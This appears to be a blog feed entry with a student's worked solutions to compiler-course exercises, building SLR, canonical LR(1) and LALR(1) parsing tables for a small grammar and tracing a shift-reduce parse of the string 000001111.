9 3</td><td style="text-align: center;">$ T + F</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by Y-&gt;ε</td></tr><tr class="odd"><td style="text-align: center;">(33)</td><td style="text-align: center;">0 2 9 3 10</td><td style="text-align: center;">$ T + F Y</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by T-&gt;FY</td></tr><tr class="even"><td style="text-align: center;">(34)</td><td style="text-align: center;">0 2 9 2</td><td style="text-align: center;">$ T + T</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by X-&gt;ε</td></tr><tr class="odd"><td style="text-align: center;">(35)</td><td style="text-align: center;">0 2 9 2 8</td><td style="text-align: center;">$ T + TX</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by E-&gt;TX</td></tr><tr class="even"><td style="text-align: center;">(36)</td><td style="text-align: center;">0 2 9 15</td><td style="text-align: center;">$ T + E</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by X-&gt;+E</td></tr><tr class="odd"><td style="text-align: center;">(37)</td><td style="text-align: center;">0 2 8</td><td style="text-align: center;">$ T X</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by E-&gt;TX</td></tr><tr class="even"><td style="text-align: center;">(38)</td><td style="text-align: center;">0 1</td><td style="text-align: center;">$ E</td><td style="text-align: center;">$</td><td style="text-align: center;">accept</td></tr></tbody></table><p><strong>Exercise 2:</strong> Consider the following grammar G:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">S -&gt; 0A</span><br><span class="line">A -&gt; S1A | ε</span><br></pre></td></tr></table></figure><p><strong>1.</strong> Please construct the shift-reduce parsing tablefor the above grammar G using each of the following algorithms: (1) SLR,(2) CLR, and (3) LALR.</p><ol type="1"><li>SLR</li></ol><p><spanclass="math inline"><em>F</em><em>I</em><em>R</em><em>S</em><em>T</em>(<em>S</em>) = {0}</span><spanclass="math inline"><em>F</em><em>O</em><em>L</em><em>L</em><em>O</em><em>W</em>(<em>S</em>) = {1, $}</span></p><p><spanclass="math inline"><em>F</em><em>I</em><em>R</em><em>S</em><em>T</em>(<em>A</em>) = {<em>ε</em>, 0}</span><spanclass="math inline"><em>F</em><em>O</em><em>L</em><em>L</em><em>O</em><em>W</em>(<em>A</em>) = {1, $}</span></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(1) S -&gt; 0A</span><br><span class="line">(2) A -&gt; S1A</span><br><span class="line">(3) A -&gt; ε</span><br></pre></td></tr></table></figure><p>Augmented grammar: Introduce a new symbol S’ and add a new production<code>S' -&gt; S</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">I0 = closure(&#123;[S&#x27;-&gt;•S]&#125;)</span><br><span class="line">   = &#123;[S&#x27;-&gt;•S], [S-&gt;•0A]&#125;</span><br><span class="line">I1 = closure(GOTO(I0, S))</span><br><span class="line">   = closure(&#123;[S&#x27;-&gt;S•]&#125;)</span><br><span class="line">   = &#123;[S&#x27;-&gt;S•]&#125;</span><br><span class="line">I2 = closure(GOTO(I0, 0))</span><br><span class="line">   = closure(&#123;[S-&gt;0•A]&#125;)</span><br><span class="line">   = &#123;[S-&gt;0•A], [A-&gt;•S1A], [S-&gt;•0A], [A-&gt;•]&#125;</span><br><span class="line">I3 = closure(GOTO(I2, S))</span><br><span class="line">   = closure(&#123;[A-&gt;S•1A]&#125;)</span><br><span class="line">   = &#123;[A-&gt;S•1A]&#125;</span><br><span class="line">I4 = closure(GOTO(I2, A))</span><br><span class="line">   = closure(&#123;[S-&gt;0A•]&#125;)</span><br><span class="line">   = &#123;[S-&gt;0A•]&#125;</span><br><span class="line">I2 = closure(GOTO(I2, 0))</span><br><span class="line">   = closure(&#123;[S-&gt;0•A]&#125;)</span><br><span class="line">I5 = closure(GOTO(I3, 1))</span><br><span class="line">   = closure(&#123;[A-&gt;S1•A]&#125;)</span><br><span class="line">   = &#123;[A-&gt;S1•A], [A-&gt;•S1A], [S-&gt;•0A], [A-&gt;•]&#125;</span><br><span class="line">I3 = closure(GOTO(I5, S))</span><br><span class="line">   = closure(&#123;[A-&gt;S•1A]&#125;)</span><br><span class="line">I6 = closure(GOTO(I5, A))</span><br><span class="line">   = closure(&#123;A-&gt;S1A•&#125;)</span><br><span class="line">   = &#123;[A-&gt;S1A•]&#125;</span><br><span class="line">I2 = closure(GOTO(I5, 0))</span><br><span class="line">   = closure(&#123;[S-&gt;0•A]&#125;)</span><br></pre></td></tr></table></figure><p>the shift-reduce parsing table using SLR</p><table><tr><td rowspan="2" align="center">State</td><td colspan="3" align="center">ACTION</td><td colspan="2" align="center">GOTO</td></tr><tr><td>0</td><td>1</td><td>$</td><td>S</td><td>A</td></tr><tr><td>0</td><td>s2</td><td></td><td></td><td>1</td><td></td></tr><tr><td>1</td><td></td><td></td><td>acc</td><td></td><td></td></tr><tr><td>2</td><td>s2</td><td>r3</td><td>r3</td><td>3</td><td>4</td></tr><tr><td>3</td><td></td><td>s5</td><td></td><td></td><td></td></tr><tr><td>4</td><td></td><td>r1</td><td>r1</td><td></td><td></td></tr><tr><td>5</td><td>s2</td><td>r3</td><td>r3</td><td>3</td><td>6</td></tr><tr><td>6</td><td></td><td>r2</td><td>r2</td><td></td><td></td></tr></table><ol start="2" type="1"><li>CLR</li></ol><p><spanclass="math inline"><em>F</em><em>I</em><em>R</em><em>S</em><em>T</em>(<em>S</em>) = {0}</span><spanclass="math inline"><em>F</em><em>O</em><em>L</em><em>L</em><em>O</em><em>W</em>(<em>S</em>) = {1, $}</span></p><p><spanclass="math inline"><em>F</em><em>I</em><em>R</em><em>S</em><em>T</em>(<em>A</em>) = {<em>ε</em>, 0}</span><spanclass="math inline"><em>F</em><em>O</em><em>L</em><em>L</em><em>O</em><em>W</em>(<em>A</em>) = {1, $}</span></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(1) S -&gt; 0A</span><br><span class="line">(2) A -&gt; S1A</span><br><span class="line">(3) A -&gt; ε</span><br></pre></td></tr></table></figure><p>Augmented grammar: Introduce a new symbol S’ and add a new production<code>S' -&gt; S</code></p><p><spanclass="math inline"><em>F</em><em>I</em><em>R</em><em>S</em><em>T</em>($) = {$}</span></p><p><spanclass="math inline"><em>F</em><em>I</em><em>R</em><em>S</em><em>T</em>(1<em>A</em>$) = {1}</span></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">I0 = closure(&#123;[S&#x27;-&gt;•S, $]&#125;)</span><br><span class="line">   = &#123;[S&#x27;-&gt;•S, $], [S-&gt;•0A, $]&#125;</span><br><span class="line">I1 = closure(GOTO(I0, S))</span><br><span class="line">   = &#123;[S&#x27;-&gt;S•, $]&#125;</span><br><span class="line">I2 = closure(GOTO(I0, 0))</span><br><span class="line">   = closure(&#123;[S-&gt;0•A, $]&#125;)</span><br><span class="line">   = &#123;[S-&gt;0•A, $], [A-&gt;•S1A, $], [S-&gt;•0A, 1], [A-&gt;•, $]&#125;</span><br><span class="line">I3 = closure(GOTO(I2, S))</span><br><span class="line">   = closure(&#123;[A-&gt;S•1A, $]&#125;)</span><br><span class="line">   = &#123;[A-&gt;S•1A, $]&#125;</span><br><span class="line">I4 = closure(GOTO(I2, A))</span><br><span class="line">   = closure(&#123;[S-&gt;0A, $]&#125;)</span><br><span class="line">   = &#123;[S-&gt;0A•,$]&#125;</span><br><span class="line">I5 = closure(GOTO(I2, 0))</span><br><span class="line">   = closure(&#123;[S-&gt;0•A, 1]&#125;)</span><br><span class="line">   = &#123;[S-&gt;0•A, 1], [A-&gt;•S1A, 1], [S-&gt;•0A, 1], [A-&gt;•, 1]&#125;</span><br><span class="line">I6 = closure(GOTO(I3, 1))</span><br><span class="line">   = closure(&#123;[A-&gt;S1•A, $]&#125;)</span><br><span class="line">   = &#123;[A-&gt;S1•A, $], [A-&gt;•S1A, $], [S-&gt;•0A, 1], [A-&gt;•, $]&#125;</span><br><span class="line">I7 = closure(GOTO(I5, S))</span><br><span class="line">   = closure(&#123;[A-&gt;S•1A, 1]&#125;)</span><br><span class="line">   = &#123;[A-&gt;S•1A, 1]&#125;</span><br><span class="line">I8 = closure(GOTO(I5, A))</span><br><span class="line">   = closure(&#123;[S-&gt;0A•, 1]&#125;)</span><br><span class="line">   = &#123;[S-&gt;0A•, 1]&#125;</span><br><span class="line">I5 = closure(GOTO(I5, 0))</span><br><span class="line">   = closure(&#123;[S-&gt;0•A, 1]&#125;)</span><br><span class="line">I3 = closure(GOTO(I6, S))</span><br><span class="line">   = closure(&#123;[A-&gt;S•1A, $]&#125;)</span><br><span class="line">I9 = closure(GOTO(I6, A))</span><br><span class="line">   = closure(&#123;[A-&gt;S1A•, $]&#125;)</span><br><span class="line">   = &#123;[A-&gt;S1A•, $]&#125;</span><br><span class="line">I5 = closure(GOTO(I6, 0))</span><br><span class="line">   = closure(&#123;[S-&gt;0•A, 1]&#125;)</span><br><span class="line">I10= closure(GOTO(I7, 1))</span><br><span class="line">   = closure(&#123;[A-&gt;S1•A, 1]&#125;)</span><br><span class="line">   = &#123;[A-&gt;S1•A, 1], [A-&gt;•S1A, 1], [S-&gt;•0A, 1], [A-&gt;•, 1]&#125;</span><br><span class="line">I7 = closure(GOTO(I10, S))</span><br><span class="line">   = closure(&#123;[A-&gt;S•1A, 1]&#125;)</span><br><span class="line">I11= closure(GOTO(I10, A))</span><br><span class="line">   = closure(&#123;[A-&gt;S1A•, 1]&#125;)</span><br><span class="line">   = &#123;[A-&gt;S1A•, 1]&#125;</span><br><span class="line">I5 = closure(GOTO(I10, 0))</span><br><span class="line">   = closure(&#123;[S-&gt;0•A, 1]&#125;)</span><br></pre></td></tr></table></figure><p>the shift-reduce parsing table using CLR</p><table><tr><td rowspan="2" align="center">State</td><td colspan="3" align="center">ACTION</td><td colspan="2" align="center">GOTO</td></tr><tr><td>0</td><td>1</td><td>$</td><td>S</td><td>A</td></tr><tr><td>0</td><td>s2</td><td></td><td></td><td>1</td><td></td></tr><tr><td>1</td><td></td><td></td><td>acc</td><td></td><td></td></tr><tr><td>2</td><td>s5</td><td></td><td>r3</td><td>3</td><td>4</td></tr><tr><td>3</td><td></td><td>s6</td><td></td><td></td><td></td></tr><tr><td>4</td><td></td><td></td><td>r1</td><td></td><td></td></tr><tr><td>5</td><td>s5</td><td>r3</td><td></td><td>7</td><td>8</td></tr><tr><td>6</td><td>s5</td><td></td><td>r3</td><td>3</td><td>9</td></tr><tr><td>7</td><td></td><td>s10</td><td></td><td></td><td></td></tr><tr><td>8</td><td></td><td>r1</td><td></td><td></td><td></td></tr><tr><td>9</td><td></td><td></td><td>r2</td><td></td><td></td></tr><tr><td>10</td><td>s5</td><td>r3</td><td></td><td>7</td><td>11</td></tr><tr><td>11</td><td></td><td>r2</td><td></td><td></td><td></td></tr></table><ol start="3" type="1"><li>LALR</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">I25 = I2 U I5 = &#123;[S-&gt;0•A, 1/$], [A-&gt;•S1A, 1/$], [S-&gt;•0A, 1], [A-&gt;•, 1/$]&#125;</span><br><span class="line">I37 = I3 U I7 = &#123;[A-&gt;S•1A, 1/$]&#125;</span><br><span class="line">I48 = I4 U I8 = &#123;[S-&gt;0A•,1/$]&#125;</span><br><span class="line">I6_10 = I6 U I10 = &#123;[A-&gt;S1•A, 1/$], [A-&gt;•S1A, 1/$], [S-&gt;•0A, 1], [A-&gt;•, 1/$]&#125;</span><br><span class="line">I9_11 = I9 U I11 = &#123;[A-&gt;S1A•, 1/$]&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">State 0: I0</span><br><span class="line">State 1: I1</span><br><span class="line">State 2: I25</span><br><span class="line">State 3: I37</span><br><span class="line">State 4: I48</span><br><span class="line">State 5: I6_10</span><br><span class="line">State 6: I9_11</span><br></pre></td></tr></table></figure><table><tr><td rowspan="2" align="center">State</td><td colspan="3" align="center">ACTION</td><td colspan="2" align="center">GOTO</td></tr><tr><td>0</td><td>1</td><td>$</td><td>S</td><td>A</td></tr><tr><td>0</td><td>s2</td><td></td><td></td><td>1</td><td></td></tr><tr><td>1</td><td></td><td></td><td>acc</td><td></td><td></td></tr><tr><td>2</td><td>s2</td><td>r3</td><td>r3</td><td>3</td><td>4</td></tr><tr><td>3</td><td></td><td>s5</td><td></td><td></td><td></td></tr><tr><td>4</td><td></td><td>r1</td><td>r1</td><td></td><td></td></tr><tr><td>5</td><td>s2</td><td>r3</td><td>r3</td><td>3</td><td>6</td></tr><tr><td>6</td><td></td><td>r2</td><td>r2</td><td></td><td></td></tr></table><p><strong>2.</strong> Is the grammar SLR(1)? Is it LR(1)? Is itLALR(1)?</p><p>Yes, this grammar is SLR(1), LR(1), and LALR(1). The SLR(1) parsingtable with 7 states has no conflicts despite using coarser FOLLOW sets,the LR(1) (CLR) table with 12 states is conflict-free using preciselookaheads, and the LALR(1) table successfully merges core-equivalentLR(1) states back to 7 states without introducing any new conflicts.</p><p><strong>3.</strong> Can an LALR(1) parser accept the string000001111? If yes, please list the parsing steps; otherwise, pleasestate the reason. Before parsing, please address conflicts in theparsing table if any.</p><p>LALR(1) parser can accept the string 000001111</p><table><colgroup><col style="width: 9%" /><col style="width: 24%" /><col style="width: 24%" /><col style="width: 16%" /><col style="width: 25%" /></colgroup><thead><tr class="header"><th style="text-align: center;">LINE</th><th style="text-align: center;">STACK</th><th style="text-align: center;">SYMBOLS</th><th style="text-align: center;">INPUT</th><th style="text-align: center;">ACTION</th></tr></thead><tbody><tr class="odd"><td style="text-align: center;">(1)</td><td style="text-align: center;">0</td><td style="text-align: center;">$</td><td style="text-align: center;">000001111$</td><td style="text-align: center;">shift to 2</td></tr><tr class="even"><td style="text-align: center;">(2)</td><td style="text-align: center;">0 2</td><td style="text-align: center;">$ 0</td><td style="text-align: center;">00001111$</td><td style="text-align: center;">shift to 2</td></tr><tr class="odd"><td style="text-align: center;">(3)</td><td style="text-align: center;">0 2 2</td><td style="text-align: center;">$ 0 0</td><td style="text-align: center;">0001111$</td><td style="text-align: center;">shift to 2</td></tr><tr class="even"><td style="text-align: center;">(4)</td><td style="text-align: center;">0 2 2 2</td><td style="text-align: center;">$ 0 0 0</td><td style="text-align: center;">001111$</td><td style="text-align: center;">shift to 2</td></tr><tr class="odd"><td style="text-align: center;">(5)</td><td style="text-align: center;">0 2 2 2 2</td><td style="text-align: center;">$ 0 0 0 0</td><td style="text-align: center;">01111$</td><td style="text-align: center;">shift to 2</td></tr><tr class="even"><td style="text-align: center;">(6)</td><td style="text-align: center;">0 2 2 2 2 2</td><td style="text-align: center;">$ 0 0 0 0 0</td><td style="text-align: center;">1111$</td><td style="text-align: center;">reduce by A-&gt;ε</td></tr><tr class="odd"><td style="text-align: center;">(7)</td><td style="text-align: center;">0 2 2 2 2 2 4</td><td style="text-align: center;">$ 0 0 0 0 0 A</td><td style="text-align: center;">1111$</td><td style="text-align: center;">reduce by S-&gt;0A</td></tr><tr class="even"><td style="text-align: center;">(8)</td><td style="text-align: center;">0 2 2 2 2 3</td><td style="text-align: center;">$ 0 0 0 0 S</td><td style="text-align: center;">1111$</td><td style="text-align: center;">shift to 5</td></tr><tr class="odd"><td style="text-align: center;">(9)</td><td style="text-align: center;">0 2 2 2 2 3 5</td><td style="text-align: center;">$ 0 0 0 0 S 1</td><td style="text-align: center;">111$</td><td style="text-align: center;">reduce by A-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(10)</td><td style="text-align: center;">0 2 2 2 2 3 5 6</td><td style="text-align: center;">$ 0 0 0 0 S 1 A</td><td style="text-align: center;">111$</td><td style="text-align: center;">reduce by A-&gt;S1A</td></tr><tr class="odd"><td style="text-align: center;">(11)</td><td style="text-align: center;">0 2 2 2 2 4</td><td style="text-align: center;">$ 0 0 0 0 A</td><td style="text-align: center;">111$</td><td style="text-align: center;">reduce by S-&gt;0A</td></tr><tr class="even"><td style="text-align: center;">(12)</td><td style="text-align: center;">0 2 2 2 3</td><td style="text-align: center;">$ 0 0 0 S</td><td style="text-align: center;">111$</td><td style="text-align: center;">shift to 5</td></tr><tr class="odd"><td style="text-align: center;">(13)</td><td style="text-align: center;">0 2 2 2 3 5</td><td style="text-align: center;">$ 0 0 0 S 1</td><td style="text-align: center;">11$</td><td style="text-align: center;">reduce by A-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(14)</td><td style="text-align: center;">0 2 2 2 3 5 6</td><td style="text-align: center;">$ 0 0 0 S 1 A</td><td style="text-align: center;">11$</td><td style="text-align: center;">reduce by A-&gt;S1A</td></tr><tr class="odd"><td style="text-align: center;">（15）</td><td style="text-align: center;">0 2 2 2 4</td><td style="text-align: center;">$ 0 0 0 A</td><td style="text-align: center;">11$</td><td style="text-align: center;">reduce by S-&gt;0A</td></tr><tr class="even"><td style="text-align: center;">(16)</td><td style="text-align: center;">0 2 2 3</td><td style="text-align: center;">$ 0 0 S</td><td style="text-align: center;">11$</td><td style="text-align: center;">shift to 5</td></tr><tr class="odd"><td style="text-align: center;">(17)</td><td style="text-align: center;">0 2 2 3 5</td><td style="text-align: center;">$ 0 0 S 1</td><td style="text-align: center;">1$</td><td style="text-align: center;">reduce by A-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(18)</td><td style="text-align: center;">0 2 2 3 5 6</td><td style="text-align: center;">$ 0 0 S 1 A</td><td style="text-align: center;">1$</td><td style="text-align: center;">reduce by A-&gt;S1A</td></tr><tr class="odd"><td style="text-align: center;">(19)</td><td style="text-align: center;">0 2 2 4</td><td style="text-align: center;">$ 0 0 A</td><td style="text-align: center;">1$</td><td style="text-align: center;">reduce by S-&gt;0A</td></tr><tr class="even"><td style="text-align: center;">(20)</td><td style="text-align: center;">0 2 3</td><td style="text-align: center;">$ 0 S</td><td style="text-align: center;">1$</td><td style="text-align: center;">shift to 5</td></tr><tr class="odd"><td style="text-align: center;">(21)</td><td style="text-align: center;">0 2 3 5</td><td style="text-align: center;">$ 0 S 1</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by A-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(22)</td><td style="text-align: center;">0 2 3 5 6</td><td style="text-align: center;">$ 0 S 1 A</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce A-&gt;S1A</td></tr><tr class="odd"><td style="text-align: center;">(23)</td><td style="text-align: center;">0 2 4</td><td style="text-align: center;">$ 0 A</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by S-&gt;0A</td></tr><tr class="even"><td style="text-align: center;">(24)</td><td style="text-align: center;">0 1</td><td style="text-align: center;">$ S</td><td style="text-align: center;">$</td><td style="text-align: center;">accept</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;strong&gt;Exercise 1:&lt;/strong&gt; Consider the following grammar G, which
you have seen in the previous assignment:&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;E -&amp;gt; TX&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;X -&amp;gt; +E | ε&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;T -&amp;gt; FY&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;Y -&amp;gt; T | ε&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;F -&amp;gt; PZ&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;Z -&amp;gt; *Z | ε&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;P -&amp;gt; (E) | a | b&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;1. &lt;/strong&gt;Please construct the SLR parsing table for G. Is
the grammar SLR(1)?&lt;/p&gt;
&lt;table&gt;
&lt;colgroup&gt;
&lt;col style=&quot;width: 24%&quot; /&gt;
&lt;col style=&quot;width: 37%&quot; /&gt;
&lt;col style=&quot;width: 37%&quot; /&gt;
&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr class=&quot;header&quot;&gt;
&lt;th style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;(Non-Terminal)&lt;/strong&gt;&lt;/th&gt;
&lt;th style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;FIRST Set&lt;/strong&gt;&lt;/th&gt;
&lt;th style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;FOLLOW Set&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class=&quot;odd&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;E&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{(,&lt;em&gt;a&lt;/em&gt;, &lt;em&gt;b&lt;/em&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{$, )}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;even&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;T&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{(,&lt;em&gt;a&lt;/em&gt;, &lt;em&gt;b&lt;/em&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{$, ),  + }&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{&lt;em&gt;ε&lt;/em&gt;,  + }&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{$, )}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;even&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;F&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{(,&lt;em&gt;a&lt;/em&gt;, &lt;em&gt;b&lt;/em&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{$, (,), +,&lt;em&gt;a&lt;/em&gt;, &lt;em&gt;b&lt;/em&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;Y&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{&lt;em&gt;ε&lt;/em&gt;, (,&lt;em&gt;a&lt;/em&gt;, &lt;em&gt;b&lt;/em&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{$, ),  + }&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;even&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;P&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{(,&lt;em&gt;a&lt;/em&gt;, &lt;em&gt;b&lt;/em&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{$, (,), *,+,&lt;em&gt;a&lt;/em&gt;, &lt;em&gt;b&lt;/em&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;Z&lt;/strong&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{&lt;em&gt;ε&lt;/em&gt;,  * }&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span
class=&quot;math inline&quot;&gt;{$, (,), +,&lt;em&gt;a&lt;/em&gt;, &lt;em&gt;b&lt;/em&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</summary>
    
    
    
    <category term="Computer Science" scheme="https://blog.qirenova.com/categories/Computer-Science/"/>
    
    
    <category term="Compiler" scheme="https://blog.qirenova.com/tags/Compiler/"/>
    
    <category term="CS323" scheme="https://blog.qirenova.com/tags/CS323/"/>
    
    <category term="Parsing" scheme="https://blog.qirenova.com/tags/Parsing/"/>
    
    <category term="SLR" scheme="https://blog.qirenova.com/tags/SLR/"/>
    
    <category term="CLR" scheme="https://blog.qirenova.com/tags/CLR/"/>
    
    <category term="LALR" scheme="https://blog.qirenova.com/tags/LALR/"/>
    
  </entry>
  
</feed>
